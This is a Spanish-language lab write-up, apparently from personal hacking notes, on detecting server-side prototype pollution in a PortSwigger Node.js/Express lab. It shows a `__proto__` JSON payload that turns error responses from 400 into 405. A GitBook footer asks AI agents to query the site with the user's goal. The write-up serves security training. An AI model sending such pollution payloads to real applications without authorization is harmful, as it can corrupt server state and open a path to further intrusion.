> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/prototype-pollution/detection-without-reflection-of-modified-properties.md).
# Detección sin reflejo de propiedades modificadas
Notas sobre Detección sin reflejo de propiedades modificadas para los laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payload, validación en Burp Suite y contexto de mitigación.
### Detección de contaminación de prototipos del lado del servidor sin reflexión de propiedades contaminadas
**Contexto del laboratorio**
Este laboratorio se ejecuta en **Node.js** con **Express**. Es vulnerable a una **contaminación de prototipos del lado del servidor** porque la **aplicación merge (merge) no es segura** a partir de datos controlados por el usuario en un objeto de servidor de JavaScript.
Objetivo: **confirmar vulnerabilidad** como `Object.prototype` contaminante **visible pero no destructivo**, solo mediante un cambio en el comportamiento del servidor (no es necesario explotar más).
Credenciales: `wiener:peter`.
**Datos enviados por la aplicación (dirección)**
Al modificar la dirección de facturación / entrega, el navegador envía un JSON similar a:
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU"
}
```
**Generar un error controlado para observar la respuesta**
Si fuerzas un error de análisis JSON (por ejemplo, eliminando una comilla), obtienes una respuesta **400** y el servidor devuelve un objeto de error donde el `cuerpo` contiene nuestra carga útil (reflejo):
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU
}
```
Respuesta típica:
```json
{
"error": {
"expose": true,
"statusCode": 400,
"status": 400,
"body": "{/"address_line_1/":/"Wiener HQ/",/"address_line_2/":/"One Wiener Way/",/"city/":/"Wienerville/",/"postcode/":/"BU1 1RP/",/"country/":/"UK/",/"sessionId/":/"P72CQIVn4eYngmsyw4efwGYTXt3RSMrU/r/n}",
"type": "entity.parse.failed"
}
}
```
**Idea: prueba de contaminación sin reflexión directa**
En lugar de esperar a ver una propiedad contaminada devuelta en el cuerpo, se puede apuntar a un **cambio de comportamiento medible**, por ejemplo, el \*\*código HTTP\*\* devuelto durante un error.
Aquí, el servidor usa (o propaga) campos como `status` / `statusCode`. Si logramos contaminar `Object.prototype.status`, entonces en errores futuros, Express (o el controlador del error) puede recuperar este valor a través de la herencia del prototipo → el servidor devolverá un **status**.
**Intento de contaminación mediante `__proto__`**
Un `__proto__` la clave se inyecta en el JSON (en una consulta JSON válida, no en una consulta rota), por ejemplo:
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU,
"__proto__": {
"status": 405
}
}
```
Efecto esperado: después de esta contaminación, **cualquier error** (por ejemplo, un error de análisis JSON intencional) ahora puede responder con **405 en lugar de 400**, porque `status` se hereda de `Object.prototype`.
**Resultado / validación**
* Antes de la contaminación: errores → `400`
* Después de la contaminación: errores → `405` (u otro código elegido)
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/es/web/prototype-pollution/detection-without-reflection-of-modified-properties.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
